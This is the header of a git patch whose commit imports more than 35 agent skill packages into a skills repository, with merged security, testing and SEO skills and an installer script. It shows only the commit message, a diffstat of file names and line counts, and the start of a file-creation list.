From 7edf5bc4d0791bc0249a844568f9c9c942c51afe Mon Sep 17 00:00:00 2001 From: Kunthawat Greethong Date: Thu, 26 Mar 2026 11:37:39 +0700 Subject: [PATCH] feat: Import 35+ skills, merge duplicates, add openclaw installer Major updates: - Added 35+ new skills from awesome-opencode-skills and antigravity repos - Merged SEO skills into seo-master - Merged architecture skills into architecture - Merged security skills into security-auditor and security-coder - Merged testing skills into testing-master and testing-patterns - Merged pentesting skills into pentesting - Renamed website-creator to thai-frontend-dev - Replaced skill-creator with github version - Removed Chutes references (use MiniMax API instead) - Added install-openclaw-skills.sh for cross-platform installation - Updated .env.example with MiniMax API credentials --- .env.example | 13 +- .opencode/memory/2026-03-26.md | 40 + .../full/ses_2d81bfbb2ffeKjkM88xvO2u53o.md | 196 + AGENTS.md | 8 +- scripts/install-openclaw-skills.sh | 158 + skills/.DS_Store | Bin 6148 -> 6148 bytes skills/android-native-dev/SKILL.md | 782 ++++ .../references/accessibility.md | 209 + .../references/adaptive-screens.md | 231 + .../references/design-style-guide.md | 365 ++ .../references/functional-requirements.md | 229 + .../references/motion-system.md | 203 + .../references/performance-stability.md | 223 + .../references/privacy-security.md | 244 + .../references/visual-design.md | 246 + skills/architecture/SKILL.md | 243 + skills/architecture/context-discovery.md | 43 + skills/architecture/examples.md | 94 + skills/architecture/pattern-selection.md | 68 + skills/architecture/patterns-reference.md | 50 + skills/architecture/trade-off-analysis.md | 77 + skills/artifacts-builder/LICENSE.txt | 202 + skills/artifacts-builder/SKILL.md | 74 + .../scripts/bundle-artifact.sh | 54 + .../scripts/init-artifact.sh | 322 ++ .../scripts/shadcn-components.tar.gz | Bin 0 -> 19967 bytes skills/backend-architect/SKILL.md | 329 ++ skills/brand-guidelines/LICENSE.txt | 202 + skills/brand-guidelines/SKILL.md | 103 + .../c4-architecture-c4-architecture/SKILL.md | 392 ++ skills/changelog-generator/SKILL.md | 110 + skills/competitive-ads-extractor/SKILL.md | 298 ++ skills/content-research-writer/SKILL.md | 538 +++ skills/database-architect/SKILL.md | 263 ++ skills/domain-name-brainstormer/SKILL.md | 217 + skills/file-organizer/SKILL.md | 433 ++ skills/fixing-accessibility/SKILL.md | 137 + skills/frontend-dev/SKILL.md | 567 +++ .../canvas-fonts/ArsenalSC-OFL.txt | 93 + .../canvas-fonts/ArsenalSC-Regular.ttf | Bin 0 -> 165848 bytes .../canvas-fonts/BigShoulders-Bold.ttf | Bin 0 -> 94528 bytes .../canvas-fonts/BigShoulders-OFL.txt | 93 + .../canvas-fonts/BigShoulders-Regular.ttf | Bin 0 -> 94396 bytes .../canvas-fonts/Boldonse-OFL.txt | 93 + .../canvas-fonts/Boldonse-Regular.ttf | Bin 0 -> 77168 bytes .../canvas-fonts/BricolageGrotesque-Bold.ttf | Bin 0 -> 90952 bytes .../canvas-fonts/BricolageGrotesque-OFL.txt | 93 + .../BricolageGrotesque-Regular.ttf | Bin 0 -> 90920 bytes .../canvas-fonts/CrimsonPro-Bold.ttf | Bin 0 -> 107352 bytes .../canvas-fonts/CrimsonPro-Italic.ttf | Bin 0 -> 108828 bytes .../canvas-fonts/CrimsonPro-OFL.txt | 93 + .../canvas-fonts/CrimsonPro-Regular.ttf | Bin 0 -> 106696 bytes .../frontend-dev/canvas-fonts/DMMono-OFL.txt | 93 + .../canvas-fonts/DMMono-Regular.ttf | Bin 0 -> 48852 bytes .../canvas-fonts/EricaOne-OFL.txt | 94 + .../canvas-fonts/EricaOne-Regular.ttf | Bin 0 -> 24872 bytes .../canvas-fonts/GeistMono-Bold.ttf | Bin 0 -> 78304 bytes .../canvas-fonts/GeistMono-OFL.txt | 93 + .../canvas-fonts/GeistMono-Regular.ttf | Bin 0 -> 78232 bytes .../frontend-dev/canvas-fonts/Gloock-OFL.txt | 93 + .../canvas-fonts/Gloock-Regular.ttf | Bin 0 -> 95156 bytes .../canvas-fonts/IBMPlexMono-Bold.ttf | Bin 0 -> 136008 bytes .../canvas-fonts/IBMPlexMono-OFL.txt | 93 + .../canvas-fonts/IBMPlexMono-Regular.ttf | Bin 0 -> 133796 bytes .../canvas-fonts/IBMPlexSerif-Bold.ttf | Bin 0 -> 161000 bytes .../canvas-fonts/IBMPlexSerif-BoldItalic.ttf | Bin 0 -> 169840 bytes .../canvas-fonts/IBMPlexSerif-Italic.ttf | Bin 0 -> 170004 bytes .../canvas-fonts/IBMPlexSerif-Regular.ttf | Bin 0 -> 160380 bytes .../canvas-fonts/InstrumentSans-Bold.ttf | Bin 0 -> 68084 bytes .../InstrumentSans-BoldItalic.ttf | Bin 0 -> 70004 bytes .../canvas-fonts/InstrumentSans-Italic.ttf | Bin 0 -> 69900 bytes .../canvas-fonts/InstrumentSans-OFL.txt | 93 + .../canvas-fonts/InstrumentSans-Regular.ttf | Bin 0 -> 68028 bytes .../canvas-fonts/InstrumentSerif-Italic.ttf | Bin 0 -> 70868 bytes .../canvas-fonts/InstrumentSerif-Regular.ttf | Bin 0 -> 69312 bytes .../canvas-fonts/Italiana-OFL.txt | 93 + .../canvas-fonts/Italiana-Regular.ttf | Bin 0 -> 27184 bytes .../canvas-fonts/JetBrainsMono-Bold.ttf | Bin 0 -> 114828 bytes .../canvas-fonts/JetBrainsMono-OFL.txt | 93 + .../canvas-fonts/JetBrainsMono-Regular.ttf | Bin 0 -> 114904 bytes .../frontend-dev/canvas-fonts/Jura-Light.ttf | Bin 0 -> 154308 bytes .../frontend-dev/canvas-fonts/Jura-Medium.ttf | Bin 0 -> 154488 bytes skills/frontend-dev/canvas-fonts/Jura-OFL.txt | 93 + .../canvas-fonts/LibreBaskerville-OFL.txt | 93 + .../canvas-fonts/LibreBaskerville-Regular.ttf | Bin 0 -> 147584 bytes .../frontend-dev/canvas-fonts/Lora-Bold.ttf | Bin 0 -> 133828 bytes .../canvas-fonts/Lora-BoldItalic.ttf | Bin 0 -> 140332 bytes .../frontend-dev/canvas-fonts/Lora-Italic.ttf | Bin 0 -> 139328 bytes skills/frontend-dev/canvas-fonts/Lora-OFL.txt | 93 + .../canvas-fonts/Lora-Regular.ttf | Bin 0 -> 133888 bytes .../canvas-fonts/NationalPark-Bold.ttf | Bin 0 -> 79208 bytes .../canvas-fonts/NationalPark-OFL.txt | 93 + .../canvas-fonts/NationalPark-Regular.ttf | Bin 0 -> 76424 bytes .../canvas-fonts/NothingYouCouldDo-OFL.txt | 93 + .../NothingYouCouldDo-Regular.ttf | Bin 0 -> 32020 bytes .../frontend-dev/canvas-fonts/Outfit-Bold.ttf | Bin 0 -> 55392 bytes .../frontend-dev/canvas-fonts/Outfit-OFL.txt | 93 + .../canvas-fonts/Outfit-Regular.ttf | Bin 0 -> 54912 bytes .../canvas-fonts/PixelifySans-Medium.ttf | Bin 0 -> 51072 bytes .../canvas-fonts/PixelifySans-OFL.txt | 93 + .../canvas-fonts/PoiretOne-OFL.txt | 93 + .../canvas-fonts/PoiretOne-Regular.ttf | Bin 0 -> 45244 bytes .../canvas-fonts/RedHatMono-Bold.ttf | Bin 0 -> 34420 bytes .../canvas-fonts/RedHatMono-OFL.txt | 93 + .../canvas-fonts/RedHatMono-Regular.ttf | Bin 0 -> 34488 bytes .../canvas-fonts/Silkscreen-OFL.txt | 93 + .../canvas-fonts/Silkscreen-Regular.ttf | Bin 0 -> 31960 bytes .../canvas-fonts/SmoochSans-Medium.ttf | Bin 0 -> 59704 bytes .../canvas-fonts/SmoochSans-OFL.txt | 93 + .../canvas-fonts/Tektur-Medium.ttf | Bin 0 -> 76248 bytes .../frontend-dev/canvas-fonts/Tektur-OFL.txt | 93 + .../canvas-fonts/Tektur-Regular.ttf | Bin 0 -> 75604 bytes .../canvas-fonts/WorkSans-Bold.ttf | Bin 0 -> 191304 bytes .../canvas-fonts/WorkSans-BoldItalic.ttf | Bin 0 -> 175772 bytes .../canvas-fonts/WorkSans-Italic.ttf | Bin 0 -> 174280 bytes .../canvas-fonts/WorkSans-OFL.txt | 93 + .../canvas-fonts/WorkSans-Regular.ttf | Bin 0 -> 188916 bytes .../canvas-fonts/YoungSerif-OFL.txt | 93 + .../canvas-fonts/YoungSerif-Regular.ttf | Bin 0 -> 105136 bytes .../references/asset-prompt-guide.md | 43 + skills/frontend-dev/references/env-setup.md | 33 + .../references/minimax-cli-reference.md | 133 + .../references/minimax-image-guide.md | 65 + .../references/minimax-music-guide.md | 216 + .../references/minimax-tts-guide.md | 78 + .../references/minimax-video-guide.md | 82 + .../references/minimax-voice-catalog.md | 686 +++ .../frontend-dev/references/motion-recipes.md | 407 ++ .../references/troubleshooting.md | 85 + skills/frontend-dev/scripts/minimax_image.py | 133 + skills/frontend-dev/scripts/minimax_music.py | 153 + skills/frontend-dev/scripts/minimax_tts.py | 123 + skills/frontend-dev/scripts/minimax_video.py | 183 + .../templates/generator_template.js | 223 + skills/frontend-dev/templates/viewer.html | 599 +++ skills/fullstack-dev/SKILL.md | 1037 +++++ skills/fullstack-dev/references/api-design.md | 444 ++ skills/fullstack-dev/references/auth-flow.md | 165 + skills/fullstack-dev/references/db-schema.md | 706 +++ .../references/django-best-practices.md | 466 ++ .../references/environment-management.md | 78 + .../references/release-checklist.md | 278 ++ .../references/technology-selection.md | 254 ++ .../references/testing-strategy.md | 404 ++ skills/gif-sticker-maker/SKILL.md | 127 + .../assets/image-prompt-template.txt | 23 + .../assets/video-prompt-template.txt | 14 + .../gif-sticker-maker/references/captions.md | 25 + .../references/requirements.txt | 5 + .../scripts/convert_mp4_to_gif.py | 89 + .../scripts/minimax_image.py | 158 + .../scripts/minimax_video.py | 226 + skills/image-enhancer/SKILL.md | 106 + skills/internal-comms/LICENSE.txt | 202 + skills/internal-comms/SKILL.md | 32 + skills/internal-comms/examples/3p-updates.md | 47 + .../examples/company-newsletter.md | 65 + skills/internal-comms/examples/faq-answers.md | 30 + .../internal-comms/examples/general-comms.md | 16 + skills/ios-application-dev/SKILL.md | 178 + .../references/accessibility.md | 259 ++ .../references/graphics-animation.md | 350 ++ .../references/layout-system.md | 199 + .../references/metal-shader.md | 178 + .../references/navigation-patterns.md | 175 + .../references/swift-coding-standards.md | 757 +++ .../references/swiftui-design-guidelines.md | 1167 +++++ .../references/system-integration.md | 401 ++ .../references/uikit-components.md | 297 ++ skills/lead-research-assistant/SKILL.md | 205 + skills/mcp-builder/LICENSE.txt | 202 + skills/mcp-builder/SKILL.md | 328 ++ skills/mcp-builder/reference/evaluation.md | 602 +++ .../reference/mcp_best_practices.md | 915 ++++ .../mcp-builder/reference/node_mcp_server.md | 916 ++++ .../reference/python_mcp_server.md | 752 +++ skills/mcp-builder/scripts/connections.py | 151 + skills/mcp-builder/scripts/evaluation.py | 373 ++ .../scripts/example_evaluation.xml | 22 + skills/mcp-builder/scripts/requirements.txt | 2 + skills/meeting-insights-analyzer/SKILL.md | 327 ++ skills/minimax-docx/.gitignore | 3 + skills/minimax-docx/LICENSE | 21 + skills/minimax-docx/SKILL.md | 274 ++ .../assets/styles/academic_styles.xml | 250 + .../assets/styles/corporate_styles.xml | 284 ++ .../assets/styles/default_styles.xml | 449 ++ .../assets/xsd/aesthetic-rules.xsd | 470 ++ .../assets/xsd/business-rules.xsd | 130 + .../minimax-docx/assets/xsd/common-types.xsd | 159 + skills/minimax-docx/assets/xsd/wml-subset.xsd | 589 +++ .../minimax-docx/references/cjk_typography.md | 357 ++ .../cjk_university_template_guide.md | 184 + .../minimax-docx/references/comments_guide.md | 191 + .../references/design_good_bad_examples.md | 829 ++++ .../references/design_principles.md | 819 ++++ .../references/openxml_element_order.md | 308 ++ .../references/openxml_encyclopedia_part1.md | 4061 +++++++++++++++++ .../references/openxml_encyclopedia_part2.md | 2820 ++++++++++++ .../references/openxml_encyclopedia_part3.md | 3381 ++++++++++++++ .../references/openxml_namespaces.md | 82 + .../minimax-docx/references/openxml_units.md | 72 + .../references/scenario_a_create.md | 284 ++ .../references/scenario_b_edit_content.md | 295 ++ .../references/scenario_c_apply_template.md | 456 ++ .../references/track_changes_guide.md | 200 + .../references/troubleshooting.md | 506 ++ .../references/typography_guide.md | 294 ++ .../references/xsd_validation_guide.md | 158 + skills/minimax-docx/scripts/doc_to_docx.sh | 40 + skills/minimax-docx/scripts/docx_preview.sh | 37 + .../MiniMaxAIDocx.Cli.csproj | 19 + .../dotnet/MiniMaxAIDocx.Cli/Program.cs | 18 + .../Commands/AnalyzeCommand.cs | 147 + .../Commands/ApplyTemplateCommand.cs | 322 ++ .../Commands/CreateCommand.cs | 324 ++ .../Commands/DiffCommand.cs | 155 + .../Commands/EditContentCommand.cs | 487 ++ .../Commands/FixOrderCommand.cs | 108 + .../Commands/MergeRunsCommand.cs | 122 + .../Commands/ValidateCommand.cs | 107 + .../MiniMaxAIDocx.Core.csproj | 15 + .../OpenXml/CommentSynchronizer.cs | 169 + .../OpenXml/ElementOrder.cs | 80 + .../OpenXml/NamespaceConstants.cs | 42 + .../MiniMaxAIDocx.Core/OpenXml/RunMerger.cs | 81 + .../OpenXml/StyleAnalyzer.cs | 81 + .../OpenXml/TrackChangesHelper.cs | 99 + .../OpenXml/UnitConverter.cs | 23 + .../Samples/AestheticRecipeSamples.cs | 1832 ++++++++ .../Samples/AestheticRecipeSamples_Batch1.cs | 910 ++++ .../Samples/AestheticRecipeSamples_Batch2.cs | 999 ++++ .../Samples/AestheticRecipeSamples_Batch3.cs | 1048 +++++ .../Samples/AestheticRecipeSamples_Batch4.cs | 1038 +++++ .../Samples/CharacterFormattingSamples.cs | 1020 +++++ .../Samples/DocumentCreationSamples.cs | 1121 +++++ .../Samples/FieldAndTocSamples.cs | 624 +++ .../Samples/FootnoteAndCommentSamples.cs | 675 +++ .../Samples/HeaderFooterSamples.cs | 838 ++++ .../Samples/ImageSamples.cs | 917 ++++ .../Samples/ListAndNumberingSamples.cs | 826 ++++ .../Samples/ParagraphFormattingSamples.cs | 1199 +++++ .../Samples/StyleSystemSamples.cs | 1487 ++++++ .../Samples/TableSamples.cs | 1163 +++++ .../Samples/TrackChangesSamples.cs | 595 +++ .../Typography/CjkHelper.cs | 39 + .../Typography/FontDefaults.cs | 24 + .../Typography/PageSizes.cs | 20 + .../Validation/BusinessRuleValidator.cs | 224 + .../Validation/GateCheckValidator.cs | 148 + .../Validation/ValidationResult.cs | 23 + .../Validation/XsdValidator.cs | 69 + .../scripts/dotnet/MiniMaxAIDocx.slnx | 4 + skills/minimax-docx/scripts/env_check.sh | 196 + skills/minimax-docx/scripts/setup.ps1 | 274 ++ skills/minimax-docx/scripts/setup.sh | 504 ++ skills/minimax-multimodal-toolkit/SKILL.md | 649 +++ .../references/image-api.md | 115 + .../references/music-api.md | 57 + .../references/tts-guide.md | 111 + .../references/tts-voice-catalog.md | 543 +++ .../references/video-api.md | 130 + .../references/video-prompt-guide.md | 98 + .../scripts/check_environment.sh | 156 + .../scripts/image/generate_image.sh | 277 ++ .../scripts/media_tools.sh | 543 +++ .../scripts/music/generate_music.sh | 266 ++ .../scripts/tts/generate_voice.sh | 934 ++++ .../scripts/video/add_bgm.sh | 221 + .../scripts/video/generate_long_video.sh | 479 ++ .../scripts/video/generate_template_video.sh | 216 + .../scripts/video/generate_video.sh | 329 ++ skills/minimax-pdf/README.md | 222 + skills/minimax-pdf/SKILL.md | 192 + skills/minimax-pdf/design/design.md | 381 ++ skills/minimax-pdf/scripts/cover.py | 1579 +++++++ skills/minimax-pdf/scripts/fill_inspect.py | 200 + skills/minimax-pdf/scripts/fill_write.py | 242 + skills/minimax-pdf/scripts/make.sh | 491 ++ skills/minimax-pdf/scripts/merge.py | 112 + skills/minimax-pdf/scripts/palette.py | 521 +++ skills/minimax-pdf/scripts/reformat_parse.py | 374 ++ skills/minimax-pdf/scripts/render_body.py | 1052 +++++ skills/minimax-pdf/scripts/render_cover.js | 111 + skills/minimax-xlsx/SKILL.md | 138 + skills/minimax-xlsx/references/create.md | 691 +++ skills/minimax-xlsx/references/edit.md | 684 +++ skills/minimax-xlsx/references/fix.md | 37 + skills/minimax-xlsx/references/format.md | 768 ++++ .../references/ooxml-cheatsheet.md | 231 + .../minimax-xlsx/references/read-analyze.md | 97 + skills/minimax-xlsx/references/validate.md | 772 ++++ skills/minimax-xlsx/scripts/formula_check.py | 422 ++ .../scripts/libreoffice_recalc.py | 248 + .../scripts/shared_strings_builder.py | 163 + skills/minimax-xlsx/scripts/style_audit.py | 575 +++ .../minimax-xlsx/scripts/xlsx_add_column.py | 395 ++ .../minimax-xlsx/scripts/xlsx_insert_row.py | 274 ++ skills/minimax-xlsx/scripts/xlsx_pack.py | 87 + skills/minimax-xlsx/scripts/xlsx_reader.py | 362 ++ .../minimax-xlsx/scripts/xlsx_shift_rows.py | 396 ++ skills/minimax-xlsx/scripts/xlsx_unpack.py | 130 + .../minimal_xlsx/[Content_Types].xml | 9 + .../templates/minimal_xlsx/_rels/.rels | 6 + .../minimal_xlsx/xl/_rels/workbook.xml.rels | 19 + .../minimal_xlsx/xl/sharedStrings.xml | 33 + .../templates/minimal_xlsx/xl/styles.xml | 160 + .../templates/minimal_xlsx/xl/workbook.xml | 30 + .../minimal_xlsx/xl/worksheets/sheet1.xml | 70 + skills/odoo-automated-tests/SKILL.md | 124 + skills/pentesting/SKILL.md | 383 ++ skills/pptx-generator/SKILL.md | 249 + .../references/design-system.md | 392 ++ skills/pptx-generator/references/editing.md | 162 + skills/pptx-generator/references/pitfalls.md | 112 + skills/pptx-generator/references/pptxgenjs.md | 420 ++ .../pptx-generator/references/slide-types.md | 413 ++ skills/security-auditor/SKILL.md | 236 + .../aws-compliance-checker/SKILL.md | 516 +++ .../aws-iam-best-practices/SKILL.md | 397 ++ .../aws-secrets-rotation/SKILL.md | 465 ++ .../aws-security/aws-security-audit/SKILL.md | 369 ++ .../security-auditor/resources/checklists.md | 121 + .../security-auditor/scripts/security_scan.py | 458 ++ skills/security-coder/SKILL.md | 324 ++ skills/seo-geo/SKILL.md | 254 ++ skills/seo-master/SKILL.md | 165 + skills/seo-master/assets/agency.md | 175 + skills/seo-master/assets/ecommerce.md | 167 + skills/seo-master/assets/generic.md | 144 + skills/seo-master/assets/local-service.md | 160 + skills/seo-master/assets/publisher.md | 153 + skills/seo-master/assets/saas.md | 135 + skills/seo-master/scripts/seo_checker.py | 219 + skills/seo-multi-channel/SKILL.md | 4 +- .../scripts/generate_content.py | 6 +- skills/shader-dev/SKILL.md | 299 ++ .../shader-dev/reference/ambient-occlusion.md | 382 ++ .../reference/analytic-ray-tracing.md | 651 +++ skills/shader-dev/reference/anti-aliasing.md | 71 + .../reference/atmospheric-scattering.md | 571 +++ skills/shader-dev/reference/camera-effects.md | 80 + .../shader-dev/reference/cellular-automata.md | 635 +++ skills/shader-dev/reference/color-palette.md | 481 ++ .../reference/csg-boolean-operations.md | 466 ++ .../shader-dev/reference/domain-repetition.md | 436 ++ skills/shader-dev/reference/domain-warping.md | 419 ++ .../shader-dev/reference/fluid-simulation.md | 425 ++ .../shader-dev/reference/fractal-rendering.md | 525 +++ skills/shader-dev/reference/lighting-model.md | 639 +++ .../shader-dev/reference/matrix-transform.md | 535 +++ .../shader-dev/reference/multipass-buffer.md | 571 +++ .../shader-dev/reference/normal-estimation.md | 418 ++ .../shader-dev/reference/particle-system.md | 589 +++ .../shader-dev/reference/path-tracing-gi.md | 602 +++ .../reference/polar-uv-manipulation.md | 521 +++ .../shader-dev/reference/post-processing.md | 375 ++ .../reference/procedural-2d-pattern.md | 439 ++ .../shader-dev/reference/procedural-noise.md | 551 +++ skills/shader-dev/reference/ray-marching.md | 396 ++ skills/shader-dev/reference/sdf-2d.md | 724 +++ skills/shader-dev/reference/sdf-3d.md | 805 ++++ skills/shader-dev/reference/sdf-tricks.md | 63 + .../shader-dev/reference/shadow-techniques.md | 476 ++ .../reference/simulation-physics.md | 644 +++ .../shader-dev/reference/sound-synthesis.md | 578 +++ .../shader-dev/reference/terrain-rendering.md | 839 ++++ .../reference/texture-mapping-advanced.md | 87 + .../shader-dev/reference/texture-sampling.md | 553 +++ .../reference/volumetric-rendering.md | 608 +++ .../reference/voronoi-cellular-noise.md | 486 ++ .../shader-dev/reference/voxel-rendering.md | 701 +++ skills/shader-dev/reference/water-ocean.md | 445 ++ skills/shader-dev/reference/webgl-pitfalls.md | 41 + .../techniques/ambient-occlusion.md | 364 ++ .../techniques/analytic-ray-tracing.md | 542 +++ skills/shader-dev/techniques/anti-aliasing.md | 124 + .../techniques/atmospheric-scattering.md | 522 +++ .../shader-dev/techniques/camera-effects.md | 115 + .../techniques/cellular-automata.md | 531 +++ skills/shader-dev/techniques/color-palette.md | 380 ++ .../techniques/csg-boolean-operations.md | 491 ++ .../techniques/domain-repetition.md | 333 ++ .../shader-dev/techniques/domain-warping.md | 414 ++ .../shader-dev/techniques/fluid-simulation.md | 1175 +++++ .../techniques/fractal-rendering.md | 436 ++ .../shader-dev/techniques/lighting-model.md | 527 +++ .../shader-dev/techniques/matrix-transform.md | 455 ++ .../shader-dev/techniques/multipass-buffer.md | 922 ++++ .../techniques/normal-estimation.md | 318 ++ .../shader-dev/techniques/particle-system.md | 1203 +++++ .../shader-dev/techniques/path-tracing-gi.md | 623 +++ .../techniques/polar-uv-manipulation.md | 373 ++ .../shader-dev/techniques/post-processing.md | 788 ++++ .../techniques/procedural-2d-pattern.md | 346 ++ .../shader-dev/techniques/procedural-noise.md | 554 +++ skills/shader-dev/techniques/ray-marching.md | 467 ++ skills/shader-dev/techniques/sdf-2d.md | 631 +++ skills/shader-dev/techniques/sdf-3d.md | 589 +++ skills/shader-dev/techniques/sdf-tricks.md | 100 + .../techniques/shadow-techniques.md | 776 ++++ .../techniques/simulation-physics.md | 1542 +++++++ .../shader-dev/techniques/sound-synthesis.md | 490 ++ .../techniques/terrain-rendering.md | 408 ++ .../techniques/texture-mapping-advanced.md | 121 + .../shader-dev/techniques/texture-sampling.md | 382 ++ .../techniques/volumetric-rendering.md | 375 ++ .../techniques/voronoi-cellular-noise.md | 458 ++ .../shader-dev/techniques/voxel-rendering.md | 985 ++++ skills/shader-dev/techniques/water-ocean.md | 490 ++ .../shader-dev/techniques/webgl-pitfalls.md | 170 + skills/skill-creator/LICENSE.txt | 202 + skills/skill-creator/SKILL.md | 339 +- skills/skill-creator/scripts/.env.example | 2 - skills/skill-creator/scripts/create_skill.py | 204 - skills/skill-creator/scripts/init_skill.py | 303 ++ skills/skill-creator/scripts/package_skill.py | 110 + .../skill-creator/scripts/quick_validate.py | 65 + skills/test-driven-development/SKILL.md | 373 ++ .../testing-anti-patterns.md | 299 ++ skills/testing-master/SKILL.md | 313 ++ .../resources/implementation-playbook.md | 614 +++ .../testing-master/testing-anti-patterns.md | 299 ++ skills/testing-patterns/SKILL.md | 404 ++ .../AUTO_ADMIN_PASSWORD.md | 0 .../AUTO_DEPLOY_COMPLETE.md | 0 .../AUTO_DEPLOY_IMPLEMENTATION.md | 0 .../AUTO_DEPLOY_PROGRESS.md | 0 .../EASYPANEL_INTEGRATION.md | 0 .../FINAL_SUMMARY.md | 0 .../IMPLEMENTATION_STATUS.md | 0 .../IMPLEMENTATION_SUMMARY.md | 0 .../MIGRATION_WORKFLOW.md | 0 .../README.md | 62 +- .../SKILL.md | 15 +- .../SPECIFICATION.md | 0 .../TEST_REPORT.md | 0 .../UPDATE_SUMMARY.md | 0 .../scripts/.env.example | 0 .../scripts/create_astro_website.py | 0 .../scripts/migrate_existing_website.py | 0 .../scripts/refactor_existing_website.py | 0 .../scripts/requirements.txt | 0 .../templates/admin-consent-logs.astro | 0 .../templates/components/common/Footer.astro | 0 .../templates/components/common/Header.astro | 0 .../scripts/templates/icons/line.svg | 0 .../templates/layouts/BaseLayout.astro | 0 .../scripts/templates/pages/index.astro | 0 .../scripts/templates/styles/global.css | 0 .../templates/thai-privacy-policy-template.md | 0 .../thai-terms-of-service-template.md | 0 .../scripts/umami_integration.py | 0 skills/theme-factory/LICENSE.txt | 202 + skills/theme-factory/SKILL.md | 59 + skills/theme-factory/theme-showcase.pdf | Bin 0 -> 124310 bytes skills/theme-factory/themes/arctic-frost.md | 19 + .../theme-factory/themes/botanical-garden.md | 19 + skills/theme-factory/themes/desert-rose.md | 19 + skills/theme-factory/themes/forest-canopy.md | 19 + skills/theme-factory/themes/golden-hour.md | 19 + .../theme-factory/themes/midnight-galaxy.md | 19 + .../theme-factory/themes/modern-minimalist.md | 19 + skills/theme-factory/themes/ocean-depths.md | 19 + .../theme-factory/themes/sunset-boulevard.md | 19 + .../theme-factory/themes/tech-innovation.md | 19 + skills/vibe-code-auditor/SKILL.md | 334 ++ skills/video-downloader/SKILL.md | 112 + skills/wiki-qa/SKILL.md | 39 + 469 files changed, 131580 insertions(+), 417 deletions(-) create mode 100644 .opencode/memory/2026-03-26.md create mode 100644 .opencode/memory/full/ses_2d81bfbb2ffeKjkM88xvO2u53o.md create mode 100755 scripts/install-openclaw-skills.sh create mode 100644 skills/android-native-dev/SKILL.md create mode 100644 skills/android-native-dev/references/accessibility.md create mode 100644 skills/android-native-dev/references/adaptive-screens.md create mode 100644 skills/android-native-dev/references/design-style-guide.md create mode 100644 skills/android-native-dev/references/functional-requirements.md create mode 100644 skills/android-native-dev/references/motion-system.md create mode 100644 skills/android-native-dev/references/performance-stability.md create mode 100644 skills/android-native-dev/references/privacy-security.md create mode 100644 skills/android-native-dev/references/visual-design.md create mode 100644 skills/architecture/SKILL.md create mode 100644 skills/architecture/context-discovery.md create mode 100644 skills/architecture/examples.md create mode 100644 skills/architecture/pattern-selection.md create mode 100644 skills/architecture/patterns-reference.md create mode 100644 skills/architecture/trade-off-analysis.md create mode 100644 skills/artifacts-builder/LICENSE.txt create mode 100644 skills/artifacts-builder/SKILL.md create mode 100755 skills/artifacts-builder/scripts/bundle-artifact.sh create mode 100755 skills/artifacts-builder/scripts/init-artifact.sh create mode 100644 skills/artifacts-builder/scripts/shadcn-components.tar.gz create mode 100644 skills/backend-architect/SKILL.md create mode 100644 skills/brand-guidelines/LICENSE.txt create mode 100644 skills/brand-guidelines/SKILL.md create mode 100644 skills/c4-architecture-c4-architecture/SKILL.md create mode 100644 skills/changelog-generator/SKILL.md create mode 100644 skills/competitive-ads-extractor/SKILL.md create mode 100644 skills/content-research-writer/SKILL.md create mode 100644 skills/database-architect/SKILL.md create mode 100644 skills/domain-name-brainstormer/SKILL.md create mode 100644 skills/file-organizer/SKILL.md create mode 100644 skills/fixing-accessibility/SKILL.md create mode 100644 skills/frontend-dev/SKILL.md create mode 100644 skills/frontend-dev/canvas-fonts/ArsenalSC-OFL.txt create mode 100644 skills/frontend-dev/canvas-fonts/ArsenalSC-Regular.ttf create mode 100644 skills/frontend-dev/canvas-fonts/BigShoulders-Bold.ttf create mode 100644 skills/frontend-dev/canvas-fonts/BigShoulders-OFL.txt create mode 100644 skills/frontend-dev/canvas-fonts/BigShoulders-Regular.ttf create mode 100644 skills/frontend-dev/canvas-fonts/Boldonse-OFL.txt create mode 100644 skills/frontend-dev/canvas-fonts/Boldonse-Regular.ttf create mode 100644 skills/frontend-dev/canvas-fonts/BricolageGrotesque-Bold.ttf create mode 100644 skills/frontend-dev/canvas-fonts/BricolageGrotesque-OFL.txt create mode 100644 skills/frontend-dev/canvas-fonts/BricolageGrotesque-Regular.ttf create mode 100644 skills/frontend-dev/canvas-fonts/CrimsonPro-Bold.ttf create mode 100644 skills/frontend-dev/canvas-fonts/CrimsonPro-Italic.ttf create mode 100644 skills/frontend-dev/canvas-fonts/CrimsonPro-OFL.txt create mode 100644 skills/frontend-dev/canvas-fonts/CrimsonPro-Regular.ttf create mode 100644 skills/frontend-dev/canvas-fonts/DMMono-OFL.txt create mode 100644 skills/frontend-dev/canvas-fonts/DMMono-Regular.ttf create mode 100644 skills/frontend-dev/canvas-fonts/EricaOne-OFL.txt create mode 100644 skills/frontend-dev/canvas-fonts/EricaOne-Regular.ttf create mode 100644 skills/frontend-dev/canvas-fonts/GeistMono-Bold.ttf create mode 100644 skills/frontend-dev/canvas-fonts/GeistMono-OFL.txt create mode 100644 skills/frontend-dev/canvas-fonts/GeistMono-Regular.ttf create mode 100644 skills/frontend-dev/canvas-fonts/Gloock-OFL.txt create mode 100644 skills/frontend-dev/canvas-fonts/Gloock-Regular.ttf create mode 100644 skills/frontend-dev/canvas-fonts/IBMPlexMono-Bold.ttf create mode 100644 skills/frontend-dev/canvas-fonts/IBMPlexMono-OFL.txt create mode 100644 skills/frontend-dev/canvas-fonts/IBMPlexMono-Regular.ttf create mode 100644 skills/frontend-dev/canvas-fonts/IBMPlexSerif-Bold.ttf create mode 100644 skills/frontend-dev/canvas-fonts/IBMPlexSerif-BoldItalic.ttf create mode 100644 skills/frontend-dev/canvas-fonts/IBMPlexSerif-Italic.ttf create mode 100644 skills/frontend-dev/canvas-fonts/IBMPlexSerif-Regular.ttf create mode 100644 skills/frontend-dev/canvas-fonts/InstrumentSans-Bold.ttf create mode 100644 skills/frontend-dev/canvas-fonts/InstrumentSans-BoldItalic.ttf create mode 100644 skills/frontend-dev/canvas-fonts/InstrumentSans-Italic.ttf create mode 100644 skills/frontend-dev/canvas-fonts/InstrumentSans-OFL.txt create mode 100644 skills/frontend-dev/canvas-fonts/InstrumentSans-Regular.ttf create mode 100644 skills/frontend-dev/canvas-fonts/InstrumentSerif-Italic.ttf create mode 100644 skills/frontend-dev/canvas-fonts/InstrumentSerif-Regular.ttf create mode 100644 skills/frontend-dev/canvas-fonts/Italiana-OFL.txt create mode 100644 skills/frontend-dev/canvas-fonts/Italiana-Regular.ttf create mode 100644 skills/frontend-dev/canvas-fonts/JetBrainsMono-Bold.ttf create mode 100644 skills/frontend-dev/canvas-fonts/JetBrainsMono-OFL.txt create mode 100644 skills/frontend-dev/canvas-fonts/JetBrainsMono-Regular.ttf create mode 100644 